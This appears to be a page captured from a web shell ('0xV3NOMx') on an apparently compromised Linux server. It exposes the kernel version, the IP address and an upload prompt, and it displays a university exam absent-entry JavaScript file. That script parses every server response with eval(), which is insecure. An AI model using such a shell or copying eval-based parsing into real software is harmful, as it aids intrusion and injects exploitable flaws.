0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.58.221.124


Current Path : /var/www/html/stph/js/
Upload File :
Current File : /var/www/html/stph/js/absententrysubjectwiseQP.js

$g_abs_entry_default_data='';
$g_abs_table_header_data='';
$g_abs_save_after_error_flag=0;
$g_abs_valid_reg_no='';
$g_abs_entry_type='';
$g_check='';
var $g_table_data=$("#abs_entry_table_header").html();

function LoadabsententrysubjectwiseQP()
{  	$g_abs_popup=1;
	$NumTextBox=1;
	$g_abs_save_after_error_flag=0;
	window.enable_proper_module="absententrystudetwiseQP";
	$("#page_main_div").load('html_modules/absent_entry_qp.html',function()
	{	
		$module_name=($g_screen_type=='ab')?"Absent Entry Subjectwise QP":"Mal Practice Entry Subjectwise QP";
		$g_abs_entry_type=($g_screen_type=='ab')?"QpA":"QpM";
		document.getElementById('display_module_name').innerHTML =$module_name;
		document.getElementById('module_name_for_save').value = 'SaveAbsentEntrySubjectwiseQP'; 
		/* document.getElementById('header_name').value = 'SaveAbsentEntrySubjectwiseQP'; 
		$("#header_name").html($module_name); */
		document.getElementById('is_add_edit').value = 'Edit';
		clearabsenttextboxs();
		disableAbsentEntryButton();
		getDefaultHeadFooterLinks('Absent Entry QP Code');
		$g_abs_table_header_data=$("#abs_entry_table_header").html();

		BindAbsentSubCategoryDropDown();
		$("#abs_entry_sub_degree_code").focus();
		$g_abs_entry_default_data='';
		$("#abs_default_reg_div").html('');
		$("#abs_default_reg_div").hide();
		$("#print_row").hide();
	}
	);
	$('#module_details_div').hide();		
}

function clearabsenttextboxs()
{
	$("#abs_entry_sub_degree_code").val("");
	$("#abs_sub_degree_name").val("");
	$("#abs_sub_Examno").val("");
	$('#abs_sub_Exam_name').val(''); 
	$('#abs_sub_final_subcode').val(''); 
	$('#abs_sub_fsubname').val(''); 
	$('#abs_sub_fssubname').val(''); 
	$('#abs_entry_shortname').val(''); 
	$('#abs_sub_date').val(''); 
	$('#abs_sub_range').val('');
}


function enableNewAbsentEntryQp()
 {
 
  $("#abs_default_reg_div").hide(); 
  $("#abs_main_mark_entry_div").show();
  $("#abs_subwise_regno_1").focus();
  $g_focus_element="1";
 }

function RemovingTrFromAbsentTableQp()
{
 document.getElementById("abs_entry_table_header").innerHTML="";
$("#abs_entry_table_header").html($g_abs_table_header_data);
} 
 
function BindAbsentSubCategoryDropDown()
{
  $.ajax({
        type: "POST",
		data:"type="+$g_screen_type,
	   	url: $host_url+"GetSubSubjectCategory.demo",
		success: FillAbsentDropDownData
  });
   document.getElementById("abs_entry_table_header").innerHTML="";
}

function FillAbsentDropDownData($responce)
{
		$responce = eval('(' + $responce + ')');
		document.getElementById('abs_SubCategory').options.length=0;
		 
						 
        for($i=0;$i <$responce.data.length;$i++)                                  
        {        
          $op = new Option($responce.data[$i]['Name'], $responce.data[$i]['Code']);
		  $op.id=$responce.data[$i]['Name'];//specifying the id  for options
		  document.getElementById('abs_SubCategory').options.add($op);
		  document.getElementById('abs_SubCategory').disabled= true;
	
        } 
		
}

function GetDefaultAbsMPEntryQp()
 {
    $("#abs_main_mark_entry_div").hide();
	//changeButtonImage('view_row');
	if( document.getElementById('is_add_edit').value=='Add')
	$type='Add';
	else
	$type='Edit';
	$limit=10;
	document.getElementById('is_add_edit').value = 'Edit';
		if($("#abs_entry_qp_code").val()=="")
		 {
		 alert("Please Enter QP Code");
		 $("#abs_entry_qp_code").focus();
		 return;
		}if(empty($("#abs_sub_date").val()))
		 {
	 		 return false;
		}
	 
		
		$list_data ="Degcode="+$("#abs_entry_sub_degree_code").val();
		$list_data ="qp_code="+$("#abs_entry_qp_code").val();
		$list_data+="&Subcode="+$("#abs_sub_final_subcode").val();
		$list_data+="&Examno="+$("#abs_sub_Examno").val();
		$list_data+="&FDOE="+date_format($("#abs_sub_date").val());
		$list_data+="&FSESSION="+($("#abs_session_state").val());
		$list_data+="&ScreenType="+$g_abs_entry_type;
		 
		$.ajax({
			type: "POST",
			//async:false,
			url: $host_url+"getDefaultAbsentEntrySubjectRegNosQp.demo", 
			data:$list_data+"&range="+encodeURIComponent(trim($("#abs_sub_range").val()))+"&type="+$type+"&limit="+$limit,
			success: GetDefaultAbsMPEntryQpResponse
		});
}

function GetDefaultAbsMPEntryQpResponse($responce)
{
$responce = eval('(' + $responce + ')'); 
	if($responce.error_code==0)
	{
		$("#abs_default_reg_div").show();
		$("#abs_default_reg_div").html($responce.data.html);
		$g_abs_entry_default_data=$responce.data.table_data;
		$('#add_row').focus();
		AddNewQpRow();		
	}

}  
function AddNewQpRow()
{
	if($("#tbl_absent_subjectwise").length>0)
	var last_row_id=($("#tbl_absent_subjectwise tr:last")[0]['id'].split("_")[2]);
	else 
	var last_row_id=($("#abs_entry_table_header tr:last")[0]['id'].split("_")[2]);
	if(empty(last_row_id))
	last_row_id=1;
	else
	last_row_id=eval(parseInt(last_row_id)+1);
	
	prev_row=eval(parseInt(last_row_id)-1)
	if(last_row_id>1 && prev_row>1 && empty($("#abs_subwise_regno_"+prev_row).val()))
	{
	return false;
	}
	 
	var html="<tr class='ui-widget-content jqgrow' id='qp_row_"+last_row_id+"'  >";
	html+="<td class='tbl_row_new' align='center' style='width:111px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;'> ";
	html+="<input  id='abs_subwise_regno_"+last_row_id+"' type='text' style='width:70px;border:0px' ";
	html+="onkeypress='return pulsar(event,this);' onblur='CheckAbsentEntryRegNoQp(this.id,"+last_row_id+");'";
	html+="onkeydown='return KayboardGetRegno(event,this.id)' onfocus='$g_focus_element="+last_row_id+"'; />";			 
	html+="</td>";
	html+="<td  class='tbl_row_new' align='left' style='width: 160px;padding:2px; border-right:1px solid #C5DBEC;' align='left' id='abs_subwise_stuname_"+last_row_id+"' >";
	html+="</td>";
	html+="<td  class='tbl_row_new' align='center' style='width:60px; padding:2px; border-right:1px solid #C5DBEC;' align='left'>";
	html+="<input type='checkbox'  id='abs_check_"+last_row_id+"'   onblur='AddNewQpRow()'> ";
	html+="<input id='st_"+last_row_id+"' type=hidden value='I'> ";
	html+="</td>";
	html+="</tr>";
	if($("#tbl_absent_subjectwise").length>0)
	$("#tbl_absent_subjectwise").append(html);
	else
	$("#abs_entry_table_header").append(html);
	$("#abs_subwise_regno_"+last_row_id).focus();
}

function MarkEnterySubjectWiseTableNextPage()
{
	$RegnoTextbox = document.getElementsByName('Regno');
	$Len = parseInt($RegnoTextbox.length);
	$lastRegno=$RegnoTextbox[$Len-1].value;
		$list_data ="Degcode="+$("#abs_entry_sub_degree_code").val();
		$list_data+="&Subcode="+$("#abs_sub_final_subcode").val();
		$list_data+="&Examno="+$("#abs_sub_Examno").val();
		$list_data+="&ScreenType="+$g_abs_entry_type;
		$list_data+="&LastRegno="+$lastRegno;
		$list_data+="&FirstRegno=''";
	$.ajax({
		type: "POST",
		//async:false,
		url: $host_url+"getDefaultAbsentEntrySubjectRegNosQp.demo", 
		data:$list_data+"&range="+encodeURIComponent(trim($("#markentry_sub_range").val()))+"&type="+$type+"&limit="+$limit,
		success: GetDefaultAbsMPEntryQpResponse
	});
}


function MarkEnterySubjectWiseTablePrevPage()
{
	$RegnoTextbox = document.getElementsByName('Regno');
	$Len = parseInt($RegnoTextbox.length);
	$FirstRegno=$RegnoTextbox[1].value;
	$list_data ="Degcode="+$("#abs_entry_sub_degree_code").val();
		$list_data+="&Subcode="+$("#abs_sub_final_subcode").val();
		$list_data+="&Examno="+$("#abs_sub_Examno").val();
		$list_data+="&ScreenType="+$g_abs_entry_type;
		$list_data+="&FirstRegno="+$FirstRegno;
		$list_data+="&LastRegno=''";
		$.ajax({
		type: "POST",
		//async:false,
		url: $host_url+"getDefaultAbsentEntrySubjectRegNosQp.demo", 
		data:$list_data+"&range="+encodeURIComponent(trim($("#markentry_sub_range").val()))+"&type="+$type+"&limit="+$limit,
		success: GetDefaultAbsMPEntryQpResponse
	});
}
function CheckAbsentEntryRegNoQp($id,$tr_id)
{
	var module_name_for_save=document.getElementById('module_name_for_save').value ;
	$ids = document.getElementById($id);
	$Regno = $ids.value;	 
	if($Regno!='' && $g_abs_save_after_error_flag==0)
	{
	    $.ajax({
	       type: "POST",
			async:false,
	       data: "Regno="+$Regno+"&id="+$id+"&module_name_for_save="+module_name_for_save,
	       url: $host_url+"CheckEnteredRegisterNo.demo",
 	       success: PopulateAbsentCheckRegisterNoQpResponse
	    });   
	}
	else
	{
		$("#abs_subwise_stuname_"+$tr_id).val("");
		$("#abs_subwise_regno_"+$tr_id).focus();
		return false;
	}
}

//////////////////////// Check Register Number Response  
function PopulateAbsentCheckRegisterNoQpResponse($responce)
 {
	$responce = eval('(' + $responce + ')'); 
	if($responce.error_code == 0)
	{ 
		$g_abs_valid_reg_no=1;
		$check_dup=$responce.data.fregno;
		$check_dup_flag=0;
		 
		var obj=$("input[id*='abs_subwise_regno_']");
 
		jQuery.each(obj, function(k, v) {
		row_id=v['id'].split("_")[3]; 
		var FRegno=$("#abs_subwise_regno_"+row_id).val();
			if(row_id!=$responce.data.id && ($check_dup==FRegno ))
			$check_dup_flag=1;
		});
		if($check_dup_flag==0)
		{
			$g_check=1;
			
			document.getElementById("abs_subwise_stuname_"+ $responce.data['id']).innerHTML = $responce.data['fname']; 
			document.getElementById("abs_check_"+ $responce.data['id']).focus();
			return true;
		}
		else
		{
			$g_abs_valid_reg_no=0;
			
			 document.getElementById("abs_subwise_regno_"+ $responce.data['id']).value="";
			 document.getElementById("abs_subwise_stuname_"+ $responce.data['id']).value="";
			alert($responce.data['fregno']+ " allready Selected");			 
			return false;
		}
		
	}
	else
	{
	    $g_abs_valid_reg_no=0;
		alert("Invaild Register Number");
		document.getElementById("abs_subwise_stuname_"+$responce.data).innerHTML ='';
		//document.getElementById("abs_subwise_regno_"+ $responce.data).value='';
		return false;
	}
}
 
 
function CreateNextRowAbsentEntryQpsssssssssssss($id)
{
	 
	 $Textbox = document.getElementsByName("absent_subjectwise");
	 $NumTextBox = $Textbox.length;
	 $previous_NumTextBox=$Textbox.length;
	 $sub = $id.substring($id.lastIndexOf('_')+1);   	
	 // get Previous Register Number
	 $PrevRegNo =  $("#abs_subwise_regno_"+$NumTextBox).val();
	 
	 $fn = function(){return AbsentEntryPopup(window, e, null);};
	 
	 $NumTextBox+=1;		 
	 if(parseInt($NumTextBox%2)==0)
	 {
	 $input_class="tbl_row_input";
	 $class='tbl_row';
	 }
	 else 
	 {
	 $class='tbl_row1';
	 $input_class="tbl_row1_input";
	 }
	 
	 if($g_abs_valid_reg_no==1 && $sub==$previous_NumTextBox &&$PrevRegNo!="")
	 {
	 document.getElementById("abs_subwise_regno_"+$previous_NumTextBox).readOnly=true;
	 $tbody = document.getElementById("abs_entry_table_header");
	 $rowcount = $tbody.rows.length;
	 $tr = $tbody.insertRow($rowcount);
	 $tr.id= $NumTextBox;
	 $tr.className=$class;
	 
	 //  Create  Register Number Textbox 
	 $td_one = $tr.insertCell(0);
	 $Regno =document.createElement("input");
	 $Regno.type= "text";
	 $Regno.className= $input_class;
	 $Regno.id="abs_subwise_regno_"+$NumTextBox;
	 $Regno.name= "absent_subjectwise";
	 $Regno.align = "center";    
	 $td_one.style.borderLeft = "solid #C5DBEC 1px";    
	 $td_one.style.borderRight = "solid #C5DBEC 1px";   
	 $td_one.style.borderBottom = "solid #C5DBEC 1px";    
	 $td_one.style.padding="2px";    
	 $Regno.onkeydown=AbsentEntryPopup;
	 $Regno.onblur=function(){CheckAbsentEntryRegNoQp(this.id,$NumTextBox);}
	 $td_one.appendChild($Regno);
	 $td_one.style.width = "111px";
	 $td_one.align = "center";
	 
	 // Create Student Name  TD
	 $td_two= $tr.insertCell(1);
	 $td_two.id ="abs_subwise_stuname_"+$NumTextBox;
	 $td_two.style.width = "160px";
	 $td_two.align = "left";
	 $td_two.style.borderRight = "solid #C5DBEC 1px";    
	 $td_two.style.borderBottom = "solid #C5DBEC 1px";    
	 $td_two.style.padding="2px";  

	 // Create Check Box
	 $td_three=$tr.insertCell(2);
	 $status =document.createElement("input");
	 $status.type= "checkbox";
	 $status.checked= "checked";
	 $status.className= $input_class;
	 $status.id="abs_subwise_checkstatus_"+$NumTextBox;
	 $status.align = "center";
	 $status.onblur=function(){CreateNextRowAbsentEntryQp(this.id);}
	  $status.onfocus=function() {if($g_abs_valid_reg_no==0) $("#abs_subwise_regno_"+$NumTextBox).focus();} 
	 $td_three.style.width = "40px";
	 $td_three.style.borderRight = "solid #C5DBEC 1px";  
	 $td_three.style.borderBottom = "solid #C5DBEC 1px";  
	 $td_three.style.padding="2px";   
	 $td_three.align="center";   
	 $td_three.appendChild($status);
	 
	 document.getElementById("abs_subwise_regno_"+$NumTextBox).style.width="70px";
	 document.getElementById("abs_subwise_regno_"+$NumTextBox).align="center";
	 document.getElementById("abs_subwise_regno_"+$NumTextBox).style.border="0px";
	 	 
	 document.getElementById("abs_subwise_stuname_"+$NumTextBox).style.width="168px";
	 document.getElementById("abs_subwise_stuname_"+$NumTextBox).style.padding="4px";
	 setfocus();
	 }
}

function AbsentEntryPopup(evt)
{
  	var kC  = (evt.which) ? evt.which : evt.keyCode;
	if(kC==112)
	{
	$g_abs_popup=1;
	PopupMarkEntrySubGetRegno();
	}
}
 
function setfocus()
{
	 $Textbox = document.getElementsByName("absent_subjectwise");
	 $Num = $Textbox.length;
	 $("#abs_subwise_regno_"+$Num).focus();	
}
 
function SaveAbsEntryQpStudetwise()
{
	if($("#abs_entry_qp_code").val()=="")
	{
		alert("Please Enter The Qp Code");
		$("#abs_entry_qp_code").focus();
		return false;
	}
	 
	$list_data ="qp_code="+$("#abs_entry_qp_code").val();
	$list_data+="&ScreenType="+$g_abs_entry_type;
 
	$list_data+="&examdate="+date_format($("#abs_sub_date").val());
	$list_data+="&Session="+$("#abs_session_state").val();
	$abs_setup_subwise = new Object();
	var obj=$("input[id*='abs_subwise_regno_']");
	var k=0;
 	jQuery.each(obj, function(k, v) {
		row_id=v['id'].split("_")[3];
		$abs_setup_subwise[k]= new Object(); 
		var a_type=$("#st_"+row_id).val();
		var FRegno=$("#abs_subwise_regno_"+row_id).val();
	 
		if($("#abs_check_"+row_id).is(':checked'))
		$abs_setup_subwise[k]['delete']=1;
		else 
		$abs_setup_subwise[k]['delete']=0; 
		$abs_setup_subwise[k]['FRegno']=FRegno; 
		$abs_setup_subwise[k]['a_type']=a_type; 
		k++;
		
	});
/* // ######################### For Edit Update####################################
 if(document.getElementById('is_add_edit').value=='Edit')
 {
	for($k=0;$k<$g_abs_entry_default_data.length;$k++)
	{	
		$id=$g_abs_entry_default_data[$k]['FREGNO'];
		$abs_setup_subwise[$k]= new Object(); 
		$abs_setup_subwise[$k]['FRegno']=$("#abs_reg_no_"+$id).val();
		if($("#abs_check_"+$id).is(':checked'))
		$abs_setup_subwise[$k]['cheked']=1;
		else 
		$abs_setup_subwise[$k]['cheked']=0; 
	 } 
	var myJSONText = encodeURIComponent(JSON.stringify($abs_setup_subwise));  
	$list_data+="&output_details="+myJSONText;
  }	 
	
// ######################### For Add####################################

else  if(document.getElementById('is_add_edit').value=='Add')
{
	$Textbox = document.getElementsByName("absent_subjectwise");
	$NumRow = $Textbox.length;
	$abs_all_reg_nos='';
	//alert($NumRow);
	$count =1;
	for($i=1;$i<=$NumRow;$i++)
	{
		if($("#abs_subwise_checkstatus_"+$i).is(':checked') && $("#abs_subwise_regno_"+$i).val()!='')
		{
			$abs_setup_subwise[$count]= new Object();
			$abs_all_reg_nos+="'"+$("#abs_subwise_regno_"+$i).val()+"',";
			$abs_setup_subwise[$count]['FRegno']=$("#abs_subwise_regno_"+$i).val();
			//alert($("#abs_subwise_regno_"+$i).val());
			$count++;
		}
	} var myJSONText = encodeURIComponent(JSON.stringify($abs_setup_subwise));  
	$list_data+="&output_details="+myJSONText+"&all_reg_nos="+encodeURIComponent($abs_all_reg_nos);
  }	 */	 
var myJSONText = encodeURIComponent(JSON.stringify($abs_setup_subwise));  
	$list_data+="&output_details="+myJSONText;
	$.ajax({
		type: "POST",
		async:false,
		url: $host_url+"SaveAbsEntryQpStudetwise.demo",
		data:$list_data,	
		success: SaveAbsEntryQpStudetwiseResponce
	}); 
}

function SaveAbsEntryQpStudetwiseResponce($responce)
{
	$responce = eval('(' + $responce + ')'); 
	if($responce.error_code==0)
	{
	alert($responce.data);   
	absententrysubjectwiseQP();
	//clearabsenttextboxs();
	//RemovingTrFromAbsentTableQp();	
	//$('#abs_entry_qp_code').focus;
	//$g_abs_save_after_error_flag=0;
	}
	else  
	{
	alert($responce.data);  
	$g_abs_save_after_error_flag=1;
	$("#abs_subwise_regno_1").focus();
	}
}
function disableAbsentEntryButton()
{
	/* document.getElementById("row_edit").setAttribute("class", "tarkabutton-disabled");
	document.getElementById("delete_row").setAttribute("class", "tarkabutton-disabled");
	document.getElementById("add_row").setAttribute("class", "tarkabutton-disabled");
	document.getElementById("save_row").setAttribute("class", "tarkabutton-disabled"); */
}
function AddAbsentEntryQp()
{
$('#header_add').hide();
document.getElementById('is_add_edit').value="Add";
RemovingTrFromAbsentTableQp();
		 enableNewAbsentEntryQp();
		$("#abs_default_reg_div").html("");
		$("#abs_default_reg_div").hide();
}